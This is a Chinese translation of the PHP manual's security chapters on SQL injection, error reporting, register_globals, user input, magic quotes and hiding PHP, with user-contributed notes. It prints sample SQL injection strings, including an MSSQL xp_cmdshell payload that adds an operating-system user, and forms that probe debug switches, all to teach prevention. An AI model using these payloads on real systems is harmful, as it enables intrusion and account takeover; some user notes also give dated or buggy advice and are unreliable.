SQL 中的 UPDATE 也会受到攻击。这种查询也可能像上面的例子那样被插入或附加上另一个完整的请求。但是攻击者更愿意对 SET 子句下手，这样他们就可以更改数据表中的一些数据。这种情况下必须要知道数据库的结构才能修改查询成功进行。可以通过表单上的变量名对字段进行猜测，或者进行暴力破解。对于存放用户名和密码的字段，命名的方法并不多。

例子 27-4. 从重设密码……到获得更多权限（任何数据库系统）

<?php
$query = "UPDATE usertable SET pwd='$pwd' WHERE uid='$uid';";
?>
但是恶意的用户会把 ' or uid like'%admin%'; -- 作为变量的值提交给 $uid 来改变 admin 的密码，或者把 $pwd 的值提交为 "hehehe', admin='yes', trusted=100 "（后面有个空格）去获得更多的权限。这样做的话，查询语句实际上就变成了：

<?php

// $uid == ' or uid like'%admin%'; --
$query = "UPDATE usertable SET pwd='...' WHERE uid='' or uid like '%admin%'; --";

// $pwd == "hehehe', admin='yes', trusted=100 "
$query = "UPDATE usertable SET pwd='hehehe', admin='yes', trusted=100 WHERE
...;";

?>

下面这个可怕的例子将会演示如何在某些数据库上执行系统命令。

例子 27-5. 攻击数据库所在主机的操作系统（MSSQL Server）

<?php

$query  = "SELECT * FROM products WHERE id LIKE '%$prod%'";
$result = mssql_query($query);

?>
如果攻击提交 a%' exec master..xp_cmdshell 'net user test testpass /ADD' -- 作为变量 $prod的值，那么 $query 将会变成

<?php

$query  = "SELECT * FROM products
                    WHERE id LIKE '%a%'
                    exec master..xp_cmdshell 'net user test testpass /ADD'--";
$result = mssql_query($query);

?>

MSSQL 服务器会执行这条 SQL 语句，包括它后面那个用于向系统添加用户的命令。如果这个程序是以 sa 运行而 MSSQLSERVER 服务又有足够的权限的话，攻击者就可以获得一个系统帐号来访问主机了。

注: 虽然以上的例子是针对某一特定的数据库系统的，但是这并不代表不能对其它数据库系统实施类似的攻击。使用不同的方法，各种数据库都有可能遭殃。

预防措施

也许有人会自我安慰，说攻击者要知道数据库结构的信息才能实施上面的攻击。没错，确实如此。但没人能保证攻击者一定得不到这些信息，一但他们得到了，数据库有泄露的危险。如果你在用开放源代码的软件包来访问数据库，比如论坛程序，攻击者就很容得到到相关的代码。如果这些代码设计不良的话，风险就更大了。

这些攻击总是建立在发掘安全意识不强的代码上的。所以，永远不要信任外界输入的数据，特别是来自于客户端的，包括选择框、表单隐藏域和 cookie。就如上面的第一个例子那样，就算是正常的查询也有可能造成灾难。

  • 永远不要使用超级用户或所有者帐号去连接数据库。要用权限被严格限制的帐号。

  • 检查输入的数据是否具有所期望的数据格式。PHP 有很多可以用于检查输入的函数，从简单的变量函数和字符类型函数（比如 is_numeric()，ctype_digit()）到复杂的 Perl 兼容正则表达式函数都可以完成这个工作。

  • 如果程序等待输入一个数字，可以考虑使用 is_numeric() 来检查，或者直接使用 settype() 来转换它的类型，也可以用 sprintf() 把它格式化为数字。

    例子 27-6. 一个实现分页更安全的方法

    <?php

    settype    ($offset, 'integer');
    $query = "SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET $offset;";

    // 请注意格式字符串中的 %d，如果用 %s 就毫无意义了
    $query = sprintf("SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET %d;",
                         $offset);

    ?>

  • 使用数据库特定的敏感字符转义函数（比如 mysql_escape_string() 和
sql_escape_string()）把用户提交上来的非数字数据进行转义。如果数据库没有专门的敏感字符转义功能的话
addslashes() 和 str_replace()
可以代替完成这个工作。看看第一个例子，此例显示仅在查询的静态部分加上引号是不够的，查询很容易被攻破。

  • 要不择手段避免显示出任何有关数据库的信心，尤其是数据库结构。参见错误报告和错误处理函数。

  • 也可以选择使用数据库的存储过程和预定义指针等特性来抽象数库访问，使用户不能直接访问数据表和视图。但这个办法又有别的影响。

除此之外，在允许的情况下，使用代码或数据库系统保存查询日志也是一个好办法。显然，日志并不能防止任何攻击，但利用它可以跟踪到哪个程序曾经被尝试攻击过。日志本身没用，要查阅其中包含的信息才行。毕竟，更多的信息总比没有要好。

add a note add a note User Contributed Notes
17-Mar-2006 01:48
If you use the PEAR package and prepare() / execute() your queries,
you will hardly have to worry about any of this. Of course, it's still
a good idea to make sure you're putting valid data in your database...
bee at askbee dot net
17-Nov-2005 06:52
A great article of how to avoid sql injection
http://www.askbee.net/articles/php/SQL_Injection/sql_injection.html
anonymous
26-Jan-2005 04:42
Here is a useful class that deals with SQL injection:

http://www.phpinsider.com/php/code/SafeSQL/
add a note add a note

后退 | 起点 | 前进
加密存储模型 | 上一级 | 错误报告


错误报告

PHP 手册
后退 前进

章 28. 错误报告

对于 PHP 的安全性来说错误报告是一把双刃剑。一方面可以提高安全性，另一方面又有害。

攻击系统时经常使用的手法就是输入不正确的数据，然后查看错误提示的类型及上下文。这样做有利于攻击者收集服务器的信息以便寻找弱点。比如说，如果一个攻击者知道了一个页面所基于的表单信息，那么他就会尝试修改变量：

例子 28-1. 用自定义的 HTML 页面攻击变量

<form method="post" action="attacktarget?username=badfoo&amp;password=badfoo">
<input type="hidden" name="username" value="badfoo" />
<input type="hidden" name="password" value="badfoo" />
</form>

通常 PHP 所返回的错误提示都能帮助开发者调试程序，它会提出哪个文件的哪些函数或代码出错，并指出错误发生的在文件的第几行，这些就是 PHP 本身所能给出的信息。很多 PHP 开发者会使用 show_source()、highlight_string() 或者 highlight_file() 函数来调试代码，但是在正式运行的网站中，这种做法可能会暴露出隐藏的变量、未检查的语法和其它的可能危及系统安全的信息。在运行一些具有内部调试处理的程序，或者使用通用调试技术是很危险的。如果让攻击者确定了程序是使用了哪种具体的调试技术，他们会尝试发送变量来打开调试功能：

例子 28-2. 利用变量打开调式功能

<form method="post" action="attacktarget?errors=Y&amp;showerrors=1&amp;debug=1">
<input type="hidden" name="errors" value="Y" />
<input type="hidden" name="showerrors" value="1" />
<input type="hidden" name="debug" value="1" />
</form>

不管错误处理机制如何，可以探测系统错误的能力会给攻击者提供更多信息。

比如说，PHP 的独有的错误提示风格可以说明系统在运行 PHP。如果攻击者在寻找一个 .html 为页面，想知道其后台的技术（为了寻找系统弱点），他们就会把错误的数据提交上去，然后就有可以得知系统是基于 PHP 的了。

一个函数错误就可能暴露系统正在使用的数据库，或者为攻击者提供有关网页、程序或设计方面的有用信息。攻击者往往会顺藤摸瓜地找到开放的数据库端口，以及页面上某些 bug 或弱点等。比如说，攻击者可以一些不正常的数据使程序出错，来探测脚本中认证的顺序（通过错误提示的行号数字）以及脚本中其它位置可能泄露的信息。

一个文件系统或者 PHP 的错误就会暴露 web 服务器具有什么权限，以及文件在服务器上的组织结构。开发者自己写的错误代码会加剧此问题，导致泄漏了原本隐藏的信息。

有三个常用的办法处理这些问题。第一个是彻底地检查所有函数，并尝试弥补大多数错误。第二个是对在线系统彻底关闭错误报告。第三个是使用 PHP 自定义的错误处理函数创建自己的错误处理机制。根据不同的安全策略，三种方法可能都适用。

一个能提前阻止这个问题发生的方法就是利用 error_reporting() 来帮助使代码更安全并发现变量使用的危险之处。在发布程序之前，先打开 E_ALL 测试代码，可以帮你很快找到变量使用不当的地方。一旦准备正式发布，就应该把 error_reporting() 的参数设为 0 来彻底关闭错误报告或者把 php.ini 中的 display_errors 设为 off 来关闭所有的错误显示以将代码隔绝于探测。当然，如果要迟一些再这样做，就不要忘记打开 ini 文件内的 log_errors 选项，并通过 error_log 指定用于记录错误信息的文件。

例子 28-3. 用 E_ALL 来查找危险的变量

<?php
if ($username) {  // Not initialized or checked before usage
    $good_login = 1;
}
if ($good_login == 1) { // If above test fails, not initialized or checked before usage
    readfile ("/highly/sensitive/data/index.html");
}
?>

add a note add a note User Contributed Notes
publicmail at macfreek dot nl
31-May-2002 11:07
Be sure to check the error log file once in a while. I recommend that any server maintainer has a weekly or daily check of log files. You don't need to read them all. "grep error /var/log/*" would be a good start!
add a note add a note

后退 | 起点 | 前进
SQL 注入 | 上一级 | 使用 Register Globals


使用 Register Globals

PHP 手册
后退 前进

章 29. 使用 Register Globals

可能 PHP 中最具争议的变化就是从 PHP 4.2.0 版开始配置文件中 register_globals 的默认值从 on 改为 off 了。对此选项的依赖是如此普遍以至于很多人根本不知道它的存在而以为 PHP 本来就是这么工作的。本节会解释用这个指令如何写出不安全的代码，但要知道这个指令本身没有不安全的地方，误用才会。

当 register_globals 打开以后，各种变量都被注入代码，例如来自 HTML 表单的请求变量。再加上 PHP 在使用变量之前是无需进行初始化的，这就使得更容易写出不安全的代码。这是个很艰难的抉择，但 PHP 社区还是决定默认关闭此选项。当打开时，人们使用变量时确实不知道变量是哪里来的，只能想当然。但是 register_globals 的关闭改变了这种代码内部变量和客户端发送的变量混杂在一起的糟糕情况。下面举一个错误使用 register_globals 的例子：

例子 29-1. 错误使用 register_globals = on 的例子

<?php
// 当用户合法的时候，赋值 $authorized = true
if (authenticated_user()) {
    $authorized = true;
}

// 由于并没有事先把 $authorized 初始化为 false，
// 当 register_globals 打开时，可能通过GET auth.php?authorized=1 来定义该变量值
// 所以任何人都可以绕过身份验证
if ($authorized) {
    include "/highly/sensitive/data.php";
}
?>

当 register_globals = on 的时候，上面的代码就会有危险了。如果是 off，$authorized 就不能通过如 URL 请求等方式来改变，这样就好多了，尽管初始化变量是一个良好的编程习惯。比如说，如果在上面的代码执行之前加入 $authorized = false 的话，无论 register_globals 是 on 还是 off 都可以，因为用户状态被初始化为未经认证。

另一个例子是关于会话的。当 register_globals = on 的时候，$username 也可以用在下面的代码中，但要意识到 $username 也可能会从其它途径进来，比如说通过 URL 的 GET。

例子 29-2. 使用会话时同时兼容 register_globals on 和 off 的例子

<?php
// 我们不知道 $username 的来源，但很清楚 $_SESSION 是
// 来源于会话数据
if (isset($_SESSION['username'])) {

    echo "Hello <b>{$_SESSION['username']}</b>";

} else {

    echo "Hello <b>Guest</b><br />";
    echo "Would you like to login?";

}
?>

采取相应的预防措施以便在伪造变量输入的时候给予警告是完全有可能的。如果事先确切知道变量是哪里来的，就可以检查所提交的数据是否是从不正当的表单提交而来。不过这不能保证变量未被伪造，这需要攻击者去猜测应该怎样去伪造。如果不在乎请求数据来源的话，可以使用 $_REQUEST 数组，它包括了 GET、POST 和 COOKIE 的所有数据。详情可参见本手册的来自 PHP 之外的变量。

例子 29-3. 探测有害变量

<?php
if (isset($_COOKIE['MAGIC_COOKIE'])) {

    // MAGIC_COOKIE 来自 cookie
    // 这样做是确保是来自 cookie 的数据

} elseif (isset($_GET['MAGIC_COOKIE']) || isset($_POST['MAGIC_COOKIE'])) {

   mail("admin@example.com", "Possible breakin attempt", $_SERVER['REMOTE_ADDR']);
   echo "Security violation, admin has been alerted.";
   exit;

} else {

   // 这一次请求中并没有设置 MAGIC_COOKIE 变量

}
?>

当然，单纯地关闭 register_globals 并不代表所有的代码都安全了。对于每一段提交上来的数据，都要对其进行具体的检查。永远要验证用户数据和对变量进行初始化！把 error_reporting() 设为 E_NOTICE 级别可以检查未初始化的变量。

更多关于模拟 register_globals 为 on 或 off 的信息，请见此 FAQ。

Superglobals 可用性说明: 自 PHP 4.1.0 起，可以使用超全局数组变量例如 $_GET，$_POST 和 $_SERVER 等等。更多信息请阅读手册中的 superglobals。

add a note add a note User Contributed Notes
andrei dot neculau (0) gmail dot com
20-May-2006 12:54
If you have a webhost with register_globals On by default, and running PHP as CGI (not as an Apache module, when there might be some solutions) use the code bellow.

Explanation: it will first take all global variables, and unset everything that shouldnt be there. Do not worry about your code still being accesible for changes (i.e. info.php?_ENV[OS]=NewOS ). The PHP queue works like this: first it registers variables from GET, etc. and then it fills in the global variables _GET, _POST, etc. (I wonder why they are not READ ONLY!) Therefore you will have the correct associative arrays, without any injected modification.

<?php

if (ini_get('register_globals'))
{
   foreach($GLOBALS as $s_variable_name => $m_variable_value)
   {
       if (!in_array($s_variable_name, array('GLOBALS', 'argv', 'argc', '_FILES', '_COOKIE', '_POST', '_GET', '_SERVER', '_ENV', '_SESSION', 's_variable_name', 'm_variable_value')))
       {
           unset($GLOBALS[$s_variable_name]);
       }
   }
   unset($GLOBALS['s_variable_name']);
   unset($GLOBLAS['m_variable_value']);
}

?>

Full article here: http://andreineculau.wordpress.com/?s=register_globals

* the above code is not mine. I found it on the Internet, while I was looking for a solution.
alan at xensource dot com
16-Nov-2005 01:00
From the PHP Manual page on Using register_globals:

Do not use extract() on untrusted data, like user-input ($_GET, ...). If you do, for example, if you want to run old code that relies on register_globals  temporarily, make sure you use one of the non-overwriting extract_type values such as EXTR_SKIP and be aware that you should extract in the same order that's defined in variables_order within the php.ini.
Dexter at dexpark dot com
06-Nov-2005 10:59
For Apache users or webhosters, you can set the
php_flag register_globals on/off in a VirtualHost context.
dyer85 at gmail dot com
05-Nov-2005 02:10
I'd suggest taking a look at php.net's source code for these user notes, if you want to get ideas on some nice ways to collect and validate user data.

http://php.net/source.php?url=/manual/add-note.php
hbinduni at gmail dot com
30-Oct-2005 05:06
[quote]
If you're under an Apache environment that has this option enabled, but you're on shared hosting so have no access to php.ini, you can unset this value for your own site by placing the following in an .htaccess file in the root:

php_flag register_globals 0
[/quote]

adding php_flag in .htaccess under apache 2 will cause internal server error. according to apache 2 manual, php_flag should goes to <virtual> or <directory> section.
ramosa (0) gmail dotty com
25-Sep-2005 12:24
Here's a one liner that works both with register globals on or off, and is even secure enough when it's on, as you make sure you init the var.

Using the ?: operator

$variable = isset($_GET["variable"]) ? $_GET["variable"] : "";
argentus at ukr dot net
14-Aug-2005 05:04
I have found out a method which seems to me the best. I've written my own version of extract. It works as follows:

<?php

safe_extract($_POST, "post", array("param1", "param2"));

// and now I can use the following variables:

echo "param1 is <b>$post_param1_html</b><br />";

mysql_query("SELECT * FROM sometable WHERE something = '$post_param2_slashes'");

if($post_param1_unsafe != $post_param2_unsafe)
// do something.

?>

I think it to be more convenient than using the required functions manually and more safe than that, and surely much more safe than register_globals = On.

The code is very simple. You can write your own version, of course, but I'll also show mine:

<?php

   function make_variables($key, $value, $prefix)
   {
       $GLOBALS["{$prefix}_{$key}_unsafe"] = $value;
       $GLOBALS["{$prefix}_{$key}_slashes"] = addslashes($value);
       $GLOBALS["{$prefix}_{$key}_url"] = urlencode($value);
       $GLOBALS["{$prefix}_{$key}_html"] = htmlspecialchars($value);
       $GLOBALS["{$prefix}_{$key}_url_html"] = htmlspecialchars(urlencode($value));
   }

   function safe_extract($array, $prefix, $keys)
   {
       if(count(array_diff(array_values($keys), array_keys($array))) != 0)
           return false;

       foreach($keys as $key)
           make_variables($key, $array[$key], $prefix);

       return true;

   }
?>
kcinick at ciudad dot com dot ar
19-May-2005 06:12
if you plan to use php_admin_value register_globals [0-1] inside <VirtualHost> in apache, forget it, it don't show any error messages in the configuration, but at the time of running, it enable and disables register_globals at random request, if you need to customize this param to multiple virtual host, put it in a <Directory> directives, it works fine there...

PD: same for safe_mode, etc...
ryanwray at gmail dot com
24-Nov-2004 11:03
In reply to ben at nullcreations dot net:

This is true of the super-global $_SESSION, as it will always be processed last (it is not considered in variables_order directive)

However, it is possible to over-write other data, namely GET, POST, COOKIE, ENVIROMENT and SERVER.

Of course, what you can overwrite will depend on the directive variables_order - by default, you could overwrite GET and POST data via COOKIE (because cookie data is processed last out of the three which should not really be of great concern.

My below code is irrelevant unless extract or another method which does the same thing (ie. I have seen variable variables used before to reach the same affect) is used.
ben at nullcreations dot net
23-Nov-2004 08:53
Just a note to all the people who think $_SESSION can be poisoned by register_globals - it can't.

Consider the fact that GET/POST/COOKIE is Processed *before* sessions are.  This means that even if you have register_globals on, and they write to $_SESSION, $_SESSION will just get reset again with the appropriate values.

Some people take to using extract() as a means to simulate register_globals in scripts where they're not sure what the server environment will be - this is when you should worry about such things.  The reason is because extract() can concievably occur after GET/POST/COOKIE and SESSION processing.
snarkles <anything at $myname dot net>
20-May-2004 03:06
If you're under an Apache environment that has this option enabled, but you're on shared hosting so have no access to php.ini, you can unset this value for your own site by placing the following in an .htaccess file in the root:

php_flag register_globals 0

The ini_set() function actually accomplishes nothing here, since the variables will have already been created by the time the script processes the ini file change.

And since this is the security chapter, just as a side note, another thing that's helpful to put into your .htaccess is:

<Files ".ht*">
deny from all
</Files>

That way no one can load .htaccess in their browser and have a peek at its contents.

Sorry, not aware of a similar workaround for IIS. :\
dav at thedevelopersalliance dot com
18-Dec-2003 02:38
import_request_variables() has a good solution to part of this problem - add a prefix to all imported variables, thus almost eliminating the factor of overriding internal variables through requests. you should still check data, but adding a prefix to imports is a start.
add a note add a note

后退 | 起点 | 前进
错误报告 | 上一级 | 用户提交的数据


用户提交的数据

PHP 手册
后退 前进

章 30. 用户提交的数据

很多 PHP 程序所存在的重大弱点并不是 PHP 语言本身的问题，而是编程者的安全意识不高而导致的。因此，必须时时注意每一段代码可能存在的问题，去发现非正确数据提交时可能造成的影响。

例子 30-1. 危险的变量用法

<?php
// 从用户目录中删除一个文件，或者……能删除更多的东西？
unlink ($evil_var);

// 记录用户的登陆，或者……能否在 /etc/passwd 添加数据？
fwrite ($fp, $evil_var);

// 执行一些普通的命令，或者……可以执行 rm -rf * ？
system ($evil_var);
exec ($evil_var);

?>
必须时常留意你的代码，以确保每一个从客户端提交的变量都经过适当的检查，然后问自己以下一些问题：

  • 此脚本是否只能影响所预期的文件？

  • 非正常的数据被提交后能否产生作用？

  • 此脚本能用于计划外的用途吗？

  • 此脚本能否和其它脚本结合起来做坏事？

  • 是否所有的事务都被充分记录了？

在写代码的时候问自己这些问题，否则以后可能要为了增加安全性而重写代码了。注意了这些问题的话，也许还不完全能保证系统的安全，但是至少可以提高安全性。

还可以考虑关闭 register_globals，magic_quotes 或者其它使编程更方便但会使某个变量的合法性，来源和其值被搞乱的设置。在开发时，可以使用 error_reporting(E_ALL) 模式帮助检查变量使用前是否有被检查或被初始化，这样就可以防止某些非正常的数据的挠乱了。

add a note add a note User Contributed Notes
Uli Kusterer
13-Sep-2005 06:50
One thing I would repeat in the docs here is what information actually comes from the user. Many people think a Cookie, since it's written by PHP, was safe. But the fact is that it's stored on the user's computer, transferred by the user's browser, and thus very easy to manipulate.

So, it'd be handy to mention here again that:

CGI parameters in the URL, HTTP POST data and cookie variables are considered "user data" and thus need to be validated. Session data and SQL database contents only need to be validated if they came from untrustworthy sources (like the ones just mentioned).

Not new, but I would have expected this info under this headline, at least as a short recap plus linlk to the actual docs.
add a note add a note

后退 | 起点 | 前进
使用 Register Globals | 上一级 | 魔术引号


魔术引号

PHP 手册
后退 前进

章 31. 魔术引号

目录
什么是魔术引号
为什么要用魔术引号
为什么不用魔术引号
关闭魔术引号

魔术引号（Magic Quote）是一个自动将进入 PHP 脚本的数据进行转义的过程。最好在编码时不要转义而在运行时根据需要而转义。

什么是魔术引号

当打开时，所有的 '（单引号），"（双引号），\（反斜线）和 NULL 字符都会被自动加上一个反斜线进行转义。这和 addslashes() 作用完全相同。

一共有三个魔术引号指令：

  • magic_quotes_gpc

    影响到 HTTP 请求数据（GET，POST 和 COOKIE）。不能在运行时改变。在 PHP 中默认值为 on。

    参见 get_magic_quotes_gpc()。

  • magic_quotes_runtime

    如果打开的话，大部份从外部来源取得数据并返回的函数，包括从数据库和文本文件，所返回的数据都会被反斜线转义。该选项可在运行的时改变，在 PHP 中的默认值为 off。

    参见 set_magic_quotes_runtime() 和 get_magic_quotes_runtime()。

  • magic_quotes_sybase

    如果打开的话，将会使用单引号对单引号进行转义而非反斜线。此选项会完全覆盖 magic_quotes_gpc。如果同时打开两个选项的话，单引号将会被转义成 ''。而双引号、反斜线 和 NULL 字符将不会进行转义。

    如何取得其值参见 ini_get()。

add a note add a note User Contributed Notes
judas dot iscariote at gmail dot com
08-Mar-2006 03:33
Just for the record. this feature has been removed as of PHP6.
now PHP works always like if magic_quotes_gpc Off.

get_magic_quotes_gpc, get_magic_quotes_runtime are kept but always return false, set_magic_quotes_runtime raises an E_CORE_ERROR.

this is great news, magic_quotes were a big annoyance.
27-Feb-2006 07:11
Using the .htaccess file may not always be possible for instance if you are running php on a windows IIS server.

Also the code by jfrim at idirect dot com doesn't actually fix the problem as it is stripping slashes, what you need to do is addslashes to things coming in.

the code by jfrim at idirect dot com is the right idea though although rather than saying stripslashes, you simply need to say addslashes and it should work.
edward at example dot com
07-Feb-2006 08:55
All the code listed on this page is not necessary if you use the php_flag directive in a .htaccess file. This allows you to disable magic quotes completely, without the need to adjust your php.ini file or (re)process the user's input.

Just take a look at http://www.php.net/manual/en/security.magicquotes.php#55935

Gist of his note: in the .htaccess file, add a line

php_flag magic_quotes_gpc off

That's it. Thank you very much, richard dot spindler :) !
jfrim at idirect dot com
28-Jan-2006 02:31
Unfortunately magic_quotes_gpc can not be changed at run-time, but here's a code block which will effectively get rid of it when executed.  Use this for PHP scripts which must be portable or run on servers where magic_quotes_gpc could be configured either way.

Note that the PHP help is a little misleading...  Magic_quotes_gpc affects more than just the Get, Post, and Cookie data!

<?php
//Prevent Magic Quotes from affecting scripts, regardless of server settings

//Make sure when reading file data,
//PHP doesn't "magically" mangle backslashes!
set_magic_quotes_runtime(FALSE);

if (get_magic_quotes_gpc()) {
   /*
   All these global variables are slash-encoded by default,
   because    magic_quotes_gpc is set by default!
   (And magic_quotes_gpc affects more than just $_GET, $_POST, and $_COOKIE)
   */
   $_SERVER = stripslashes_array($_SERVER);
   $_GET = stripslashes_array($_GET);
   $_POST = stripslashes_array($_POST);
   $_COOKIE = stripslashes_array($_COOKIE);
   $_FILES = stripslashes_array($_FILES);
   $_ENV = stripslashes_array($_ENV);
   $_REQUEST = stripslashes_array($_REQUEST);
   $HTTP_SERVER_VARS = stripslashes_array($HTTP_SERVER_VARS);
   $HTTP_GET_VARS = stripslashes_array($HTTP_GET_VARS);
   $HTTP_POST_VARS = stripslashes_array($HTTP_POST_VARS);
   $HTTP_COOKIE_VARS = stripslashes_array($HTTP_COOKIE_VARS);
   $HTTP_POST_FILES = stripslashes_array($HTTP_POST_FILES);
   $HTTP_ENV_VARS = stripslashes_array($HTTP_ENV_VARS);
   if (isset($_SESSION)) {    #These are unconfirmed (?)
       $_SESSION = stripslashes_array($_SESSION, '');
       $HTTP_SESSION_VARS = stripslashes_array($HTTP_SESSION_VARS, '');
   }
   /*
   The $GLOBALS array is also slash-encoded, but when all the above are
   changed, $GLOBALS is updated to reflect those changes.  (Therefore
   $GLOBALS should never be modified directly).  $GLOBALS also contains
   infinite recursion, so it's dangerous...
   */
}

function stripslashes_array($data) {
   if (is_array($data)){
       foreach ($data as $key => $value){
           $data[$key] = stripslashes_array($value);
       }
       return $data;
   }else{
       return stripslashes($data);
   }
}
?>
07-Dec-2005 10:09
You should try to avoid magic_quotes in all its flavors, use add_slashes() and strip_slashes() instead with user input and you will save time and avoid common problems that come along.

You should know also that if your server has php suexec enabled you won't be able use php_flag in .htaccess file to change php values like magic_quotes or register_globals. In this case you might wanna try creating a php.ini file on the same directory as your script and add something like this:

magic_quotes_runtime=off
magic_quotes_gpc=off
magic_quotes_sybase=off
register_globals=on ; only as an example

----
Mel
http://www.webhostingjournal.net/
richard dot spindler at gmail dot com
18-Aug-2005 04:59
to turn of magic quotes put the following line into the .htaccess file:

php_flag magic_quotes_gpc off
17-Jul-2005 10:44
Bright minds will have noticed, that one uses stripslashes() once on the input and saves that content for further processing. Then use addslashes() once before sending the content to the database or flat file.

Hint: if the application is using a MySql database, don't use addslashes() but mysql_real_escape_string().
nitrous at fuckoff dot com
27-Jan-2005 03:01
This "feature" is the cause of so many escaping problems.  It's very important to understand the implications of what magic quotes really do.

Nearly every call, except those being written directly to the database, using user submitted data will require a call to strip_slashes.  It gets very ugly very fast.

What should be done is proper escaping of shell parameters and database parameters. PHP provides several escaping functions intended for this purpose. Slashes alone don't cut it anyway.
add a note add a note

后退 | 起点 | 前进
用户提交的数据 | 上一级 | 为什么要用魔术引号


为什么要用魔术引号

  • 对初学者很有用

    魔术引号在 PHP 中用来实现避免初学者的代码更危险。尽管 SQL 注入在魔术引号打开的情况下仍然有可能实现，但起码系统的风险减少很多了。

  • 方便使用

    当向数据库中插入数据时，魔术引号所做的就是自动对所有的 GET、POST、COOKIE 数据运用 addslashes() 函数。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
魔术引号 | 上一级 | 为什么不用魔术引号


为什么不用魔术引号

  • 可移植性

    编程时认为其打开或并闭都会影响到移植性。可以用 get_magic_quotes_gpc() 来检查是否打开，并据此编程。

  • 性能

    由于并不是每一段被转义的数据都要插入数据库的，如果所有进入 PHP 的数据都被转义的话，那么会对程序的执行效率产生一定的影响。在运行时调用转义函数（如 addslashes()）更有效率。

    尽管 php.ini-dist 默认打开了这个选项，但是 php.ini-recommended 默认却关闭了它，主要是出于性能的考虑。

  • 不便

    由于不是所有数据都需要转义，在不需要转义的地方看到转义的数据就很烦。比如说通过表单发送邮件，结果看到一大堆的 \'。针对这个问题，可以使用 stripslashes() 函数处理。

add a note add a note User Contributed Notes
12-Feb-2006 05:47
It is also important to disable Magic Quotes while in development enivronment. For the reasons mentioned above, not everybody is using Magic Quotes.

An application that works fine with Magic Quotes enabled may have security problems (ie can be subject to SQL attacks) when distributed.
add a note add a note

后退 | 起点 | 前进
为什么要用魔术引号 | 上一级 | 关闭魔术引号


关闭魔术引号

magic_quotes_gpc 指令只能在系统级关闭，不能在运行时。也就是说不能用 ini_set()。

例子 31-1. 在服务器端关闭魔术引号

下面是一个通过 php.ini 文件把这些选项设为 Off 的范例。更多信息请参见本手册的怎样修改配置设定。

; Magic quotes
;

; Magic quotes for incoming GET/POST/Cookie data.
magic_quotes_gpc = Off

; Magic quotes for runtime-generated data, e.g. data from SQL, from exec(), etc.
magic_quotes_runtime = Off

; Use Sybase-style magic quotes (escape ' with '' instead of \').
magic_quotes_sybase = Off

如果不能修改服务器端的配置文件，使用 .htaccess 也可以。范例如下：

php_flag magic_quotes_gpc Off

为了能写出移植性较强的代码（可以运行于任何环境），例如不能修改服务器配置的情况，下面的例子可以在运行时关闭 magic_quotes_gpc。但是这样做比较低效，适当的修改配置才是更好的办法。

例子 31-2. 在运行时关闭魔术引号

<?php
if (get_magic_quotes_gpc()) {
    function stripslashes_deep($value)
    {
        $value = is_array($value) ?
                    array_map('stripslashes_deep', $value) :
                    stripslashes($value);

        return $value;
    }

    $_POST = array_map('stripslashes_deep', $_POST);
    $_GET = array_map('stripslashes_deep', $_GET);
    $_COOKIE = array_map('stripslashes_deep', $_COOKIE);
}
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
为什么不用魔术引号 | 上一级 | 隐藏 PHP


隐藏 PHP

PHP 手册
后退 前进

章 32. 隐藏 PHP

一般而言，通过隐藏的手段提高安全性被认为是作用不大的做法。但某些情况下，尽可能的多增加一份安全性都是值得的。

一些简单的方法可以帮助隐藏 PHP，这样做可以提高攻击者发现系统弱点的难度。在 php.ini 文件里设置 expose_php = off ，可以减少他们能获得的有用信息。

另一个策略就是让 web 服务器用 PHP 解析不同扩展名。无论是通过 .htaccess 文件还是 Apache 的配置文件，都可以设置能误导攻击者的文件扩展名：

例子 32-1. 把 PHP 隐藏为另一种语言

# 使PHP看上去像其它的编程语言
AddType application/x-httpd-php .asp .py .pl
或者干脆彻底隐藏它：

例子 32-2. 使用未知的扩展名作为 PHP 的扩展名

# 使 PHP 看上去像未知的文件类型
AddType application/x-httpd-php .bop .foo .133t
或者把它隐藏为 HTML 页面，这样所有的 HTML 文件都会通过 PHP 引擎，会为服务器增加一些负担：

例子 32-3. 用 HTML 做 PHP 的文件后缀

# 使 PHP 代码看上去像 HTML 页面
AddType application/x-httpd-php .htm .html
要让此方法生效，必须把 PHP 文件的扩展名改为以上的扩展名。这样就通过隐藏来提高了安全性，虽然防御能力很低而且有些缺点。

add a note add a note User Contributed Notes
marpetr at NOSPAM dot gmail dot com
11-Apr-2006 08:18
I think the best way to hide PHP on Apache and Apache itself is this:

httpd.conf
-------------
# ...
# Minimize 'Server' header information
ServerTokens Prod
# Disable server signature on server generated pages
ServerSignature Off
# ...
# Set default file type to PHP
DefaultType application/x-httpd-php
# ...

php.ini
------------
; ...
expose_php = Off
; ...

Now the URLs will look like this:
http://my.server.com/forums/post?forumid=15

Now hacker knows only that you are using Apache.
ahmad at unikomcenter dot com
06-Mar-2006 02:05
I am use this script to hidding PHP:

index.php
--------------
<?php

// PARSING QUERY STRING
$QS=explode("&",$_SERVER['QUERY_STRING']);
$QS=explode('/',$QS[0]);

// IF Modul is Undefined set it to index
if (!$QS[0]) $MODUL='index';
else $MODUL=strtolower($QS[0]);

// WE can make a Variable $_QUERY
// for alternative _GET
for ($i=1;$i<count($QS);$i+=2)
{
   $_QUERY[$NVAR]=$NVAR=$QS[$i];
   $$NVAR=$QS[$i+1];
}

// Check the Modul is exists?
if (!file_exists("modul_directory/{$MODUL}.php"))
   $MODUL="index";

#### THIS IS EXAMPLE TO IMPLEMENTATION THE SCRIPT
// Load The Template
include("template.php");
// Load The Module
include("modul_directory/{$MODUL}.php");
// Load The Footer
include("footer.php");

?>

we can access the modul in URL like this:
=================================

www.example.com/?forum/topic/20
- it mean load the modul forum.php, and set the _QUERY['topic']=20

www.foo.com/?voting/id/54/type/piechart&choice=2
- it mean load the modul voting.php, and set the _QUERY['id']=54 and _QUERY['type']='piechart' and set _GET['choice']=2
eric at ericwing dot net
21-Jan-2006 01:20
Something that has not been mentioned here is also the PHPSESSION id that will be displayed in the URL when passing it from page to page using GET.  If users have cookies set to off, this will be visible. This can be reset before any session_start() call with ini_set(). Be aware however that this can't be changed in this way if you use autho session start.
dyer85 at gmail dot com
31-Dec-2005 04:55
Although it's probably obvious to most people, Yavuz Darendelioglu's post below utilizes a method that will only work on a *nix OS, not Windows, and probably not Mac.

Also, his regex uses some superfluous matching, instead, write the redirect like so: (you don't really need to use absolute path when redirecting to a resource on the same server, either):

RedirectMatch (?:awstats|xmlrpc) /deny.php
28-Dec-2005 11:29
